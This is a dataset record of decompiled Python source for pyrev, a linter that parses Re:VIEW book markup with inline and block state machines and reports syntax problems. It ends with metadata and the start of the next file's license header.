''\n return '\"{}\" {} {}, content: {}'.format(self.source_name, line, self.desc, content)\n\n\nclass ParseError(ParseProblem):\n __doc__ = '\\n Original Re:VIEW tool will mostly causes troubles for that.\\n\\n Example:\\n\\n //image[image]{\\n\\n This will abort Re:VIEW tool itself because it says no to you.\\n '\n LEVEL = ERROR\n\n\nclass ParseWarning(ParseProblem):\n __doc__ = '\\n Original Re:VIEW tool may or may not handle the case.\\n\\n Example:\\n\\n //image[image][description]{\\n\\n (withuout any actual image for that)\\n\\n This will cause no problem with review-compile but will let LaTeX get\\n mad at it.\\n '\n LEVEL = WARNING\n\n\nclass ParseInfo(ParseProblem):\n __doc__ = '\\n It will be parsed gracefully while it may not be good for your own\\n project.\\n\\n Example:\\n A situation where a target file starts without any chap info.\\n It will be perfectly ok from the view of syntax, but will cause\\n chapter/file mismatch afterwards.\\n '\n LEVEL = INFO\n\n\nclass ParseDebug(ParseProblem):\n LEVEL = DEBUG\n\n\nclass ProblemReporter(object):\n __doc__ = '\\n Responsible for reporting/remembering problems.\\n This also recognizes two thresholds and ignore or abort if a given\\n problem looks hitting those thresholds.\\n '\n\n def __init__(self, ignore_threshold, abort_threshold, logger=local_logger):\n self.problems = []\n self.ignore_threshold = ignore_threshold\n self.abort_threshold = abort_threshold\n self.logger = logger\n\n def report(self, error_level, source_name, line_num, desc, raw_content, logger=None):\n \"\"\"\n Prepares an Exception (ParseProblem) most relevant\n to a given error_level.\n Remembers and returns it if it does not hit any threshold.\n Otherwise ignores it, or raises it appropriately.\n \"\"\"\n logger = logger or self.logger\n if error_level < self.ignore_threshold:\n return\n if error_level >= ParseError.LEVEL:\n problem = ParseError(source_name, line_num, desc, raw_content)\n else:\n if error_level >= ParseWarning.LEVEL:\n problem = ParseWarning(source_name, line_num, desc, raw_content)\n else:\n if error_level >= ParseInfo.LEVEL:\n problem = ParseInfo(source_name, line_num, desc, raw_content)\n else:\n problem = ParseDebug(source_name, line_num, desc, raw_content)\n if error_level >= self.abort_threshold:\n raise problem\n else:\n self.problems.append(problem)\n return problem\n\n def error(self, source_name, line_num, desc, raw_content, logger=None):\n return self.report(ERROR, source_name, line_num, desc, raw_content, logger)\n\n def warning(self, source_name, line_num, desc, raw_content, logger=None):\n return self.report(WARNING, source_name, line_num, desc, raw_content, logger)\n\n def info(self, source_name, line_num, desc, raw_content, logger=None):\n return self.report(INFO, source_name, line_num, desc, raw_content, logger)\n\n def debug(self, source_name, line_num, desc, raw_content, logger=None):\n return self.desc(DEBUG, source_name, line_num, desc, raw_content, logger)\n\n\nclass Inline(object):\n\n def __init__(self, name, raw_content, line_num, position=None):\n self.name = name\n self.raw_content = raw_content\n self.line_num = line_num\n self.position = position\n\n def __str__(self):\n return 'name: \"{}\", L{} C{}, \"{}\"'.format(self.name, self.line_num, self.position, self.raw_content)\n\n\nclass Block(object):\n\n def __init__(self, name, params, has_content, lines, line_num):\n \"\"\"\n has_content: True if the block has content and thus needs to be ended\n with \"//}\" line. This is False typically with\n \"footnote\", \"label\", etc.\n lines: a list of string(unicode) lines\n \"\"\"\n self.name = name\n self.params = tuple(params)\n self.has_content = has_content\n self.lines = lines\n self.line_num = line_num\n\n def __str__(self):\n if self.has_content:\n return 'L{} \"{}\" {} (lines: {})'.format(self.line_num, self.name, self.params, len(self.lines))\n else:\n return 'L{} \"{}\" {} (no content)'.format(self.line_num, self.name, self.params)\n\n\nclass InlineStateMachine(object):\n __doc__ = '\\n State machine for a single inline operation.\\n '\n _inline_escape_allowed = set(['}', '\\\\'])\n ISM_NONE = 'ISM_NONE'\n ISM_AT = 'ISM_AT'\n ISM_INLINE_TAG = 'ISM_INLINE_TAG'\n ISM_END_INLINE_TAG = 'ISM_END_INLINE_TAG'\n ISM_INLINE_CONTENT = 'ISM_INLINE_CONTENT'\n ISM_INLINE_CONTENT_BS = 'ISM_INLINE_CONTENT_BS'\n ISM_INLINE_CONTENT_AT = 'ISM_INLINE_CONTENT_AT'\n\n def __init__(self, line_num, line, parser=None, reporter=None, source_name=None, logger=local_logger):\n \"\"\"\n line: used when problem happened\n \"\"\"\n self.line_num = line_num\n self.line = line\n self.logger = logger\n self.parser = parser\n self.reporter = reporter\n self.source_name = source_name\n self.reset()\n\n def reset(self):\n \"\"\"\n Resets current parsing state.\n \"\"\"\n self.unprocessed = []\n self.name = None\n self.state = self.ISM_NONE\n\n def _error(self, desc):\n self.reporter.error(self.source_name, self.line_num, desc, self.line)\n\n def _warning(self, desc):\n self.reporter.warning(self.source_name, self.line_num, desc, self.line)\n\n def _info(self, desc):\n self.reporter.info(self.source_name, self.line_num, desc, self.line)\n\n def parse_ch(self, ch, pos, logger=None):\n \"\"\"\n Parses a single character.\n\n Returns None if this state machine is still parsing the content.\n In that case this object keeps the unresolved data.\n\n Returns an Inline object if inline parsing is finished.\n Returns a string (unicode) if the content is found to be non-inline,\n so the state machine consideres a caller should handle it.\n\n A caller must be responsible for returned not-None data since\n this object forgets about them.\n\n Obviously, this function should look like just returning\n ch as is, unless '@' is given.\n It is definitely an expected behavior.\n \"\"\"\n logger = logger or self.logger\n assert type(ch) in [str, str] and len(ch) == 1\n ISM_NONE = self.ISM_NONE\n ISM_AT = self.ISM_AT\n ISM_INLINE_TAG = self.ISM_INLINE_TAG\n ISM_END_INLINE_TAG = self.ISM_END_INLINE_TAG\n ISM_INLINE_CONTENT = self.ISM_INLINE_CONTENT\n ISM_INLINE_CONTENT_AT = self.ISM_INLINE_CONTENT_AT\n ISM_INLINE_CONTENT_BS = self.ISM_INLINE_CONTENT_BS\n logger.debug(' C{} {} {}'.format(pos, self.state, ch))\n if self.state == ISM_NONE:\n if ch == '@':\n self.state = ISM_AT\n return\n else:\n if self.unprocessed:\n ret = ''.join(self.unprocessed) + ch\n self.reset()\n return ret\n return ch\n else:\n if self.state == ISM_AT:\n if ch == '<':\n assert len(self.unprocessed) == 0\n self.state = ISM_INLINE_TAG\n return\n else:\n if ch == '@':\n return '@'\n self.reset()\n return '@' + ch\n else:\n if self.state == ISM_INLINE_TAG:\n if ch == '>':\n assert self.unprocessed is not None\n assert self.name is None\n name = ''.join(self.unprocessed)\n if len(name) == 0:\n self._error('Empty inline name')\n self.name = name\n alnum = string.ascii_letters + string.digits\n all_alnum = reduce(lambda x, y: x and y in alnum, self.name, True)\n if not all_alnum:\n self._error('Inline name \"{}\" has non-alnum'.format(self.name))\n is_upper = lambda y: y in string.ascii_uppercase\n has_uppercase = reduce(lambda x, y: x or is_upper(y), self.name, False)\n if has_uppercase:\n self._info('Inline name \"{}\" has uppercase'.format(self.name))\n self.unprocessed = []\n self.state = ISM_END_INLINE_TAG\n else:\n self.unprocessed.append(ch)\n return\n if self.state == ISM_END_INLINE_TAG:\n if ch == '{':\n self.state = ISM_INLINE_CONTENT\n return\n else:\n self._error('Wrong charactor at C{} (\"{{\" != \"{}\")'.format(pos, ch))\n new_inline = Inline(self.name, '', self.line_num, pos)\n if self.parser:\n self.parser._inline_postparse_check(new_inline)\n self.reset()\n if ch == '@':\n self.state = ISM_AT\n else:\n self.unprocessed.append(ch)\n self.state = ISM_NONE\n return new_inline\n else:\n if self.state == ISM_INLINE_CONTENT:\n if ch == '}':\n content = ''.join(self.unprocessed)\n new_inline = Inline(self.name, content, self.line_num, pos)\n if self.parser:\n self.parser._inline_postparse_check(new_inline)\n self.reset()\n return new_inline\n else:\n if ch == '@':\n self.state = ISM_INLINE_CONTENT_AT\n return\n if ch == '\\\\':\n self.state = ISM_INLINE_CONTENT_BS\n return\n self.unprocessed.append(ch)\n return\n else:\n if self.state == ISM_INLINE_CONTENT_AT:\n if ch == '}':\n content = ''.join(self.unprocessed) + '@'\n new_inline = Inline(self.name, content, self.line_num, pos)\n if self.parser:\n self.parser._inline_postparse_check(new_inline)\n self.reset()\n return new_inline\n else:\n if ch == '<':\n self._info('Possible nested inline tag at C{}'.format(pos))\n self.unprocessed.append('@')\n self.unprocessed.append(ch)\n self.state = ISM_INLINE_CONTENT\n return\n if ch == '@':\n self.unprocessed.append('@')\n return\n self.unprocessed.append('@')\n self.unprocessed.append(ch)\n self.state == ISM_INLINE_CONTENT\n return\n elif self.state == ISM_INLINE_CONTENT_BS:\n if ch in self._inline_escape_allowed:\n self.unprocessed.append(ch)\n self.state = ISM_INLINE_CONTENT\n return\n else:\n self._info('Backslash inside inline \"{}\" is not effective toward \"{}\".'.format(self.name, ch))\n self.unprocessed.append('\\\\')\n self.unprocessed.append(ch)\n self.state = ISM_INLINE_CONTENT\n return\n logger.error('Unexpected state. line_num: {}, line: {}, pos: {}, state: {}'.format(self.line_num, self.line.rstrip(), pos, self.state))\n raise RuntimeError()\n\n def end(self):\n \"\"\"\n Let the state machine handle the end of content.\n \n Returns remaining unprocessed content as a single string.\n Otherwise return None.\n \"\"\"\n ISM_NONE = self.ISM_NONE\n ISM_AT = self.ISM_AT\n ISM_INLINE_TAG = self.ISM_INLINE_TAG\n ISM_END_INLINE_TAG = self.ISM_END_INLINE_TAG\n ISM_INLINE_CONTENT = self.ISM_INLINE_CONTENT\n ISM_INLINE_CONTENT_AT = self.ISM_INLINE_CONTENT_AT\n if self.state == ISM_NONE:\n assert not self.unprocessed\n return\n if self.state == ISM_AT:\n return '@'\n if self.state in [ISM_INLINE_TAG, ISM_END_INLINE_TAG,\n ISM_INLINE_CONTENT, ISM_INLINE_CONTENT_AT]:\n self._error('Invalid state')\n else:\n raise NotImplementedError()\n\n @classmethod\n def is_start_inline(cls, ch):\n return ch == '@'\n\n\nclass BlockStateMachine(object):\n BSM_NONE = 'BSM_NONE'\n BSM_PARSE_NAME = 'BSM_PARSE_NAME'\n BSM_IN_PARAM = 'BSM_IN_PARAM'\n BSM_IN_PARAM_BS = 'BSM_IN_PARAM_BS'\n BSM_END_PARAM = 'BSM_END_PARAM'\n BSM_IN_BLOCK = 'BSM_IN_BLOCK'\n\n def __init__(self, parser=None, reporter=None, source_name=None, logger=local_logger):\n self.logger = logger\n self.parser = parser\n self.reporter = reporter\n self.source_name = source_name\n self.all_inlines = []\n self.reset()\n\n def reset(self):\n self.state = self.BSM_NONE\n self.name = None\n self.start_line_num = None\n self.params = []\n self.lines = []\n self._unfinished_block = None\n\n def _remember_inline(self, inline):\n self.all_inlines.append(inline)\n if self.parser:\n self.parser._remember_inline(inline)\n\n def _error(self, line_num, desc, raw_content):\n self.reporter.error(self.source_name, line_num, desc, raw_content)\n\n def _warning(self, line_num, desc, raw_content):\n self.reporter.warning(self.source_name, line_num, desc, raw_content)\n\n def _info(self, line_num, desc, raw_content):\n self.reporter.info(self.source_name, line_num, desc, raw_content)\n\n def parse_line(self, line_num, line, logger=None):\n \"\"\"\n Parses a single line.\n\n Returns None if this state machine is parsing the line.\n In that case this object keeps the unresolved content.\n\n Returns a Block object if block parsing is finished.\n\n Returns a string (unicode) if the content is found to be non-block.\n For the string, it will most likely same as the given \"line\".\n \"\"\"\n logger = logger or self.logger\n BSM_NONE = self.BSM_NONE\n BSM_IN_BLOCK = self.BSM_IN_BLOCK\n assert self.state in [BSM_NONE, BSM_IN_BLOCK]\n rstripped = line.rstrip()\n m_end = r_end_block.match(rstripped)\n m_begin = r_begin_block.match(rstripped)\n if self.state == BSM_NONE:\n if m_end:\n self._error(line_num, 'Invalid block end', line)\n else:\n if m_begin:\n logger.debug('Block started at L{}'.format(line_num))\n prefix_len = len(m_begin.group('prefix'))\n content = m_begin.group('content').rstrip()\n ret = self._parse_block_start(line_num, line, content, prefix_len, logger)\n assert self.state in [BSM_NONE, BSM_IN_BLOCK], self.state\n if ret:\n assert type(ret) == Block\n self.reset()\n return ret\n assert self.name is not None\n self.start_line_num = line_num\n return\n return line\n if self.state == BSM_IN_BLOCK:\n if m_end:\n logger.debug('Block \"{}\" ended at L{}'.format(self.name, line_num))\n if m_end.group('junk'):\n self._error(line_num, 'Junk after block end.', line)\n new_block = self._unfinished_block\n assert new_block\n new_block.lines = self.lines\n if self.parser:\n self.parser._block_lastline_check(new_block)\n self.reset()\n return new_block\n self.lines.append(line)\n else:\n raise NotImplementedError()\n\n def _parse_block_start(self, line_num, line, content, pos_start, logger=None):\n \"\"\"\n Returns Block if the block ends in this line.\n (A typical example for it is footnote block.)\n Return None otherwise, which means we are still in a block.\n\n For instance, if the following line is available..\n\n //block[param1][param2]{\n \n .. then this function will handle '[param1][param2]{'\n \"\"\"\n logger = logger or self.logger\n BSM_PARSE_NAME = self.BSM_PARSE_NAME\n BSM_IN_PARAM = self.BSM_IN_PARAM\n BSM_IN_PARAM_BS = self.BSM_IN_PARAM_BS\n BSM_END_PARAM = self.BSM_END_PARAM\n BSM_IN_BLOCK = self.BSM_IN_BLOCK\n\n def __bsm_name_end():\n assert self._tmp_lst is not None\n assert self.name is None, 'name: {}'.format(self.name)\n alnum = string.ascii_letters + string.digits\n name = ''.join(self._tmp_lst)\n self._tmp_lst = []\n if len(name) == 0:\n self._error(line_num, 'Empty block name', line)\n all_alnum = reduce(lambda x, y: x and y in alnum, name, True)\n if not all_alnum:\n reason = 'Block name \"{}\" contains non-alnum'.format(name)\n self._error(line_num, reason, line)\n has_uppercase = reduce(lambda x, y: x or y in string.ascii_uppercase, name, False)\n if has_uppercase:\n reason = 'Block name \"{}\" contains uppercase'.format(name)\n self._info(line_num, reason, line)\n self.name = name\n\n self._tmp_lst = []\n self._ism = InlineStateMachine(line_num, line, parser=self.parser, reporter=self.reporter, source_name=self.source_name, logger=logger)\n self.state = BSM_PARSE_NAME\n for pos, ch in enumerate(content, pos_start):\n logger.debug(\"C{} ({}) '{}'\".format(pos, self.state, ch))\n if self.state == BSM_PARSE_NAME:\n if ch == '[':\n _BlockStateMachine__bsm_name_end()\n self.state = BSM_IN_PARAM\n else:\n if ch == ']':\n self._error(line_num, 'Invalid param end at C{}'.format(pos), line)\n self.state = BSM_END_PARAM\n else:\n if ch == '{':\n _BlockStateMachine__bsm_name_end()\n self.state = BSM_IN_BLOCK\n self._unfinished_block = Block(name=self.name, params=(), has_content=True, lines=[], line_num=line_num)\n if self.parser:\n self.parser._block_firstline_check(self._unfinished_block)\n else:\n self._tmp_lst.append(ch)\n elif self.state == BSM_IN_PARAM:\n if ch == ']':\n if self._ism.state != InlineStateMachine.ISM_NONE:\n self._error(line_num, \"Inline is not finished while ']' is found at C{}\".format(pos, ch), line)\n ret = self._ism.parse_ch(ch, pos)\n if ret is None:\n pass\n else:\n if type(ret) is Inline:\n self._remember_inline(ret)\n else:\n self._tmp_lst.append(ret)\n else:\n new_param = '{}{}'.format(''.join(self._tmp_lst), ''.join(self._ism.unprocessed))\n self.params.append(new_param)\n self._ism.reset()\n self._tmp_lst = []\n self.state = BSM_END_PARAM\n else:\n if ch == '\\\\':\n self.state = BSM_IN_PARAM_BS\n else:\n ret = self._ism.parse_ch(ch, pos)\n if ret is None:\n pass\n else:\n if type(ret) is Inline:\n self._remember_inline(ret)\n else:\n self._tmp_lst.append(ret)\n elif self.state == BSM_IN_PARAM_BS:\n if ch == ']':\n ret = self._ism.parse_ch(ch, pos)\n if ret is None:\n pass\n else:\n if type(ret) is Inline:\n self._remember_inline(ret)\n else:\n self._tmp_lst.append(ret)\n else:\n ret = self._ism.parse_ch('\\\\', pos)\n if ret is None:\n pass\n else:\n if type(ret) is Inline:\n self._remember_inline(ret)\n else:\n self._tmp_lst.append(ret)\n ret = self._ism.parse_ch(ch, pos)\n if ret is None:\n pass\n else:\n if type(ret) is Inline:\n self._remember_inline(ret)\n else:\n self._tmp_lst.append(ret)\n self.state = BSM_IN_PARAM\n elif self.state == BSM_END_PARAM:\n if ch == '[':\n self._ism.reset()\n self.state = BSM_IN_PARAM\n else:\n if ch == '{':\n self.state = BSM_IN_BLOCK\n self._unfinished_block = Block(name=self.name, params=self.params, has_content=True, lines=[], line_num=line_num)\n if self.parser:\n self.parser._block_firstline_check(self._unfinished_block)\n else:\n desc = \"Junk at C{} ('{}')\".format(pos, ch)\n self._error(line_num, desc, line)\n elif self.state == BSM_IN_BLOCK:\n desc = \"Junk at C{} ('{}')\".format(pos, ch)\n self._error(line_num, desc, line)\n continue\n\n if self._ism.state != InlineStateMachine.ISM_NONE:\n self._error(line_num, 'Inline is not finished.', line)\n elif self.state == BSM_PARSE_NAME:\n _BlockStateMachine__bsm_name_end()\n new_block = Block(name=self.name, params=(), has_content=False, lines=[], line_num=line_num)\n if self.parser:\n self.parser._block_firstline_check(new_block)\n self.reset()\n return new_block\n if self._tmp_lst:\n self._error(line_num, line, 'Unprocessed data is remaining (\"{}\")'.format(''.join(self._tmp_lst)))\n if self.state == BSM_END_PARAM:\n new_block = Block(name=self.name, params=self.params, has_content=False, lines=[], line_num=line_num)\n if self.parser:\n self.parser._block_firstline_check(new_block)\n self.reset()\n return new_block\n\n\nclass Parser(object):\n __doc__ = '\\n Episode 4: A New Hope\\n\\n A long time ago, in a galaxy far, far, away...\\n '\n BM_TITLE = 'title'\n BM_LEVEL = 'level'\n BM_SOURCE_FILE_NAME = 'source_file_name'\n BM_SOURCE_CHAP_INDEX = 'source_chap_index'\n BM_SP = 'sp'\n BM_IS_COLUMN = 'is_column'\n\n def _error(self, line_num, desc, raw_content):\n self.reporter.error(self.source_name, line_num, desc, raw_content)\n\n def _warning(self, line_num, desc, raw_content):\n self.reporter.warning(self.source_name, line_num, desc, raw_content)\n\n def _info(self, line_num, desc, raw_content):\n self.reporter.info(self.source_name, line_num, desc, raw_content)\n\n def __init__(self, project=None, ignore_threshold=INFO, abort_threshold=CRITICAL, logger=local_logger):\n \"\"\"\n project: a base project for this parser. Can be None, in which case\n no base project is available and some lint checks will not\n be executed (e.g. image existence in a project).\n parse_project() requires this.\n\n ignore_threshold: Specifies a lint-level which is minimum lint to be\n reported.\n abort_threshold: Specifies a lint-level which is minimum lint to be\n aborted.\n \"\"\"\n self.project = project\n self.logger = logger\n self.ignore_threshold = ignore_threshold\n self.abort_threshold = abort_threshold\n\n def __block_exist(inline, block_names):\n if type(block_names) == str:\n block_names = (\n block_names,)\n inline_id = inline.raw_content\n for block in self.all_blocks:\n if block.name in block_names and len(block.params) > 0 and block.params[0] == inline_id:\n return\n\n self._error(inline.line_num, 'Inline for id \"{}\" found but no block for it.'.format(inline_id), None)\n\n def __list_block_exist(inline):\n _Parser__block_exist(inline, ['list', 'listnum'])\n\n def __image_block_exist(inline):\n _Parser__block_exist(inline, ['image'])\n\n def __image_file_exist(block):\n if not self.project:\n return\n assert block.name == 'image', block.name\n source_id, _ = os.path.splitext(self.source_name)\n image_id = block.params[0]\n imgs = self.project.images.get(self.source_name)\n if not imgs:\n self._error(block.line_num, 'Image file for image \"{}\" does not exist'.format(image_id), block.lines)\n return\n image_exist = reduce(lambda x, y: x or image_id == y.id, imgs, False)\n if not image_exist:\n image_id_wrong = reduce(lambda x, y: x or image_id == '{}-{}'.format(source_id, y.id), imgs, False)\n if image_id_wrong:\n self._warning(block.line_num, '\"{}\" includes prefix (\"{}-\")'.format(image_id, source_id), block.lines)\n else:\n self._error(block.line_num, 'Image file for image \"{}\" does not exist'.format(image_id), block.lines)\n\n def __check_block_default(block, num_params):\n if len(block.params) != num_params:\n self._error(block.line_num, 'Illegal number of params (\"{}\": {} > {})'.format(block.name, len(block.params), num_params), block.lines)\n\n def __check_param_num_range(block, num_params_min, num_params_max):\n err = None\n if len(block.params) < num_params_min:\n err = 'Illegal number of params (\"{}\": {} < {})'.format(block.name, len(block.params), num_params_min)\n elif len(block.params) > num_params_max:\n err = 'Illegal number of params (\"{}\": {} < {})'.format(block.name, num_params_max, len(block.params))\n if err:\n self._error(block.line_num, err, block.lines)\n\n cbd_0 = lambda block: _Parser__check_block_default(block, 0)\n cbd_1 = lambda block: _Parser__check_block_default(block, 1)\n cbd_2 = lambda block: _Parser__check_block_default(block, 2)\n cpnr_23 = lambda block: _Parser__check_param_num_range(block, 2, 3)\n self.allowed_inlines = {'list': (None, _Parser__list_block_exist), 'img': (\n None, _Parser__image_block_exist), \n 'table': (None, None), \n 'href': (None, None), \n 'fn': (None, None), \n 'title': (None, None), \n 'ami': (None, None), \n 'chapref': (None, None), \n 'b': (None, None), \n 'i': (None, None), \n 'u': (None, None), \n 'm': (None, None), \n 'em': (None, None), \n 'kw': (None, None), \n 'tt': (None, None), \n 'tti': (None, None), \n 'ttb': (None, None), \n 'bou': (None, None), \n 'br': (None, None), \n 'code': (None, None), \n 'chap': (None, None), \n 'uchar': (None, None), \n 'raw': (None, None), \n 'comment': (None, None)}\n self.allowed_blocks = {'table': (None, cbd_2, None), 'list': (\n None, cbd_2, None), \n 'emlist': (\n None, cbd_1, None), \n 'listnum': (\n None, cbd_2, None), \n 'image': (\n _Parser__image_file_exist, cpnr_23, None), \n 'lead': (\n None, cbd_0, None), \n 'footnote': (\n None, cbd_2, None), \n 'noindent': (\n None, cbd_0, None), \n 'cmd': (\n None, cbd_0, None), \n 'indepimage': (\n None, cbd_2, None), \n 'graph': (\n None, cpnr_23, None), \n 'quote': (\n None, cbd_0, None), \n 'bibpaper': (\n None, cbd_2, None), \n 'texequation': (\n None, cbd_0, None)}\n self.source_name = None\n self.reporter = ProblemReporter(ignore_threshold=INFO, abort_threshold=CRITICAL, logger=logger)\n self.chap_index = None\n self.bsm = None\n self.all_blocks = []\n self._current_inlines = []\n self.all_inlines = []\n self.footnote_pointers = []\n self.list_pointers = []\n self.bookmarks = []\n self.chap_to_bookmark = {}\n\n def parse_project(self):\n pass\n\n def parse_file(self, path, base_level, source_name, logger=None):\n logger = logger or self.logger\n f = None\n try:\n f = open(path, encoding='utf-8-sig')\n self._parse_file_inter(f, base_level, source_name, logger)\n finally:\n if f:\n f.close()\n\n def _parse_file_inter(self, f, base_level, source_name, logger=None):\n \"\"\"\n content: file, or file-like object\n \"\"\"\n logger = logger or self.logger\n self.source_name = source_name\n self.base_level = base_level\n self.bsm = BlockStateMachine(parser=self, reporter=self.reporter, source_name=self.source_name, logger=self.logger)\n self.chap_index = 0\n for line_num, line in enumerate(f, 1):\n self._parse_line(line_num, line)\n\n if self.bsm.state != BlockStateMachine.BSM_NONE:\n self._error(None, 'Block \"{}\" is not ended'.format(self.bsm.name), None)\n self._end_of_document()\n\n def _end_of_document(self):\n for inline in self._current_inlines:\n self._inline_endfile_check(inline)\n self.all_inlines.append(inline)\n\n self._current_inlines = []\n for block in self.all_blocks:\n self._block_endfile_check(block)\n\n def _parse_line(self, line_num, line, logger=None):\n logger = logger or self.logger\n BSM_IN_BLOCK = BlockStateMachine.BSM_IN_BLOCK\n rstripped = line.rstrip()\n logger.debug('_parse_line({}): {}'.format(self.bsm.state, rstripped))\n if self.bsm.state == BSM_IN_BLOCK:\n if rstripped[:3] == '#@#':\n self._info(line_num, line, 'Re:VIEW comment in block \"{}\". It will be included in the block'.format(self.bsm.name))\n elif rstripped[:2] == '#@':\n m = r_manual_warn.match(rstripped)\n if m:\n self._warning(line_num, 'Manual warning in block \"{}\": \"{}\". It will be included in the block'.format(self.bsm.name, m.group('message')), line)\n m = r_chap.match(rstripped)\n if m:\n if not m.group('column'):\n if not m.group('sp') and not m.group('title').startswith('='):\n self._warning(line_num, 'Bookmark in block', line)\n ret = self.bsm.parse_line(line_num, line)\n if ret is None:\n pass\n elif type(ret) is Block:\n self.all_blocks.append(ret)\n else:\n if self._handle_chap(line_num, line):\n pass\n elif rstripped[:3] == '#@#':\n return\n if rstripped[:2] == '#@':\n m = r_manual_warn.match(rstripped)\n if m:\n if m.group('type') != 'warn':\n self._error(line_num, line, 'Unknown warn-like operation \"{}\". May be \"warn\". Message: \"{}\"'.format(m.group('type'), m.group('message')))\n else:\n self._warning(line_num, 'Manual warning \"{}\"'.format(m.group('message')), line)\n return\n else:\n if rstripped[:1] == '*':\n self._warning(line_num, 'Unordered list operator (\"*\") without a single space', line)\n else:\n if len(rstripped) > 1:\n if rstripped[0] in string.digits and rstripped[1] == '.':\n self._warning(line_num, 'Ordered list operator (\"{}\") without a space'.format(rstripped[:2]), line)\n if not self.bookmarks:\n self._info(line_num, 'No bookmark found yet', line)\n ret = self.bsm.parse_line(line_num, line)\n if type(ret) is Block:\n self.all_blocks.append(ret)\n return\n if ret is None:\n return\n ism = InlineStateMachine(line_num, line, parser=self, reporter=self.reporter, source_name=self.source_name, logger=logger)\n for pos, ch in enumerate(rstripped):\n ret = ism.parse_ch(ch, pos)\n if ret is None:\n continue\n if type(ret) is Inline:\n self._remember_inline(ret)\n continue\n\n ism.end()\n\n def _append_bookmark(self, bookmark, logger=None):\n self.bookmarks.append(bookmark)\n bm_source_file_name = bookmark.get(self.BM_SOURCE_FILE_NAME)\n bm_chap_index = bookmark.get(self.BM_SOURCE_CHAP_INDEX)\n if bm_source_file_name:\n if bm_chap_index is not None:\n key = (\n bm_source_file_name, bm_chap_index)\n self.chap_to_bookmark[key] = bookmark\n\n def _handle_chap(self, line_num, line, logger=None):\n logger = logger or self.logger\n rstripped = line.rstrip()\n m = r_chap.match(rstripped)\n if m:\n level = len(m.group('level'))\n is_column = bool(m.group('column'))\n sp = m.group('sp')\n title = m.group('title')\n if is_column:\n if not self.bookmarks:\n pass\n if level == 1:\n new_bookmark = {self.BM_LEVEL: self.base_level + level, self.BM_TITLE: title.strip(), \n self.BM_SOURCE_FILE_NAME: self.source_name, \n self.BM_SOURCE_CHAP_INDEX: self.chap_index, \n self.BM_SP: sp, \n self.BM_IS_COLUMN: is_column}\n self.chap_index += 1\n else:\n new_bookmark = {self.BM_LEVEL: self.base_level + level, self.BM_TITLE: title.strip(), \n self.BM_SOURCE_FILE_NAME: self.source_name, \n self.BM_SOURCE_CHAP_INDEX: None, \n self.BM_SP: sp, \n self.BM_IS_COLUMN: is_column}\n self._append_bookmark(new_bookmark)\n return True\n else:\n return False\n\n def _format_bookmark(self, bookmark):\n return '{} \"{}\" (source: {}, index: {})'.format('=' * bookmark.get(self.BM_LEVEL, 10), bookmark[self.BM_TITLE], bookmark.get(self.BM_SOURCE_FILE_NAME), bookmark.get(self.BM_SOURCE_CHAP_INDEX))\n\n def _inline_postparse_check(self, inline):\n inline_checkers = self.allowed_inlines.get(inline.name)\n if not inline_checkers:\n self._error(inline.line_num, 'Undefined inline \"{}\" found at C{}'.format(inline.name, inline.position), inline.raw_content)\n elif inline_checkers[0]:\n postparse_checker = inline_checkers[0]\n postparse_checker(inline)\n\n def _inline_endfile_check(self, inline):\n inline_checkers = self.allowed_inlines.get(inline.name)\n if inline_checkers:\n if inline_checkers[1]:\n endfile_checker = inline_checkers[1]\n endfile_checker(inline)\n\n def _block_firstline_check(self, block):\n block_checkers = self.allowed_blocks.get(block.name)\n if not block_checkers:\n self._error(block.line_num, 'Undefined block \"{}\" found'.format(block.name), block.lines)\n elif block_checkers[0]:\n firstline_checker = block_checkers[0]\n firstline_checker(block)\n\n def _block_lastline_check(self, block):\n block_checkers = self.allowed_blocks.get(block.name)\n if block_checkers:\n if block_checkers[1]:\n lastline_checker = block_checkers[1]\n lastline_checker(block)\n\n def _block_endfile_check(self, block):\n block_checkers = self.allowed_blocks.get(block.name)\n if block_checkers:\n if block_checkers[2]:\n endfile_checker = block_checkers[2]\n endfile_checker(block)\n\n def _remember_inline(self, inline):\n self._current_inlines.append(inline)\n\n def _dump_problems(self, dump_func=None):\n dump_func = dump_func or (lambda x: self.logger.debug(x))\n if not self.reporter:\n dump_func('No reporter')\n return\n if self.reporter.problems:\n dump_func('Problems:')\n problems = self.reporter.problems\n for problem in problems:\n problem_name = type(problem).__name__[5]\n if problem.raw_content:\n if type(problem.raw_content) in [str, str]:\n content = '\"{}\"'.format(problem.raw_content.rstrip())\n elif type(problem.raw_content) == list:\n lst = []\n for rc_part in problem.raw_content:\n lst.append(rc_part.rstrip())\n\n content = '\\n' + '\\n'.join(lst)\n else:\n content = ''\n if problem.source_name:\n dump_func(' [{}] {} L{}: {}'.format(problem_name, problem.source_name, problem.line_num, problem.desc))\n else:\n dump_func(' [{}] L{}: {}'.format(problem_name, problem.line_num, problem.desc))\n\n else:\n dump_func('No problem')\n\n def _dump_blocks(self, dump_func=None):\n dump_func = dump_func or (lambda x: self.logger.debug(x))\n if self.all_blocks:\n dump_func('All-Blocks:')\n for block in self.all_blocks:\n dump_func(str(block))\n\n else:\n dump_func('No block')\n\n def _dump_inlines(self, dump_func=None):\n dump_func = dump_func or (lambda x: self.logger.debug(x))\n if self.all_inlines:\n dump_func('All-Inlines:')\n for inline in self.all_inlines:\n dump_func(' L{} name: \"{}\", \"{}\"'.format(inline.line_num, inline.name, inline.raw_content))\n\n else:\n dump_func('No inline')\n\n def _dump(self, dump_func=None):\n \"\"\"\n Dump current state.\n dump_func is expected to accept an arg for each line.\n If there's no dump_func, self.logger.debug() will be used\n \"\"\"\n dump_func = dump_func or (lambda x: self.logger.debug(x))\n if self.bookmarks:\n dump_func('Bookmarks:')\n for i, bookmark in enumerate(self.bookmarks):\n dump_func(' {}:{}'.format(i, self._format_bookmark(bookmark)))\n\n else:\n dump_func('No bookmark')\n if self.chap_to_bookmark:\n dump_func('chap_to_bookmark:')\n for key in sorted(self.chap_to_bookmark.keys()):\n bookmark = self.chap_to_bookmark[key]\n dump_func(' {}: \"{}\"'.format(key, bookmark[self.BM_TITLE]))\n\n self._dump_blocks(dump_func)\n self._dump_inlines(dump_func)\n self._dump_problems(dump_func)","sub_path":"pycfiles/pyrev-0.43.linux-x86_64.tar/parser.cpython-34.py","file_name":"parser.cpython-34.py","file_ext":"py","file_size_in_byte":42968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"365159844","text":"# coding: utf-8\n# Copyright (C) 2021, [Breezedeus](https://github.com/breezedeus).\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional 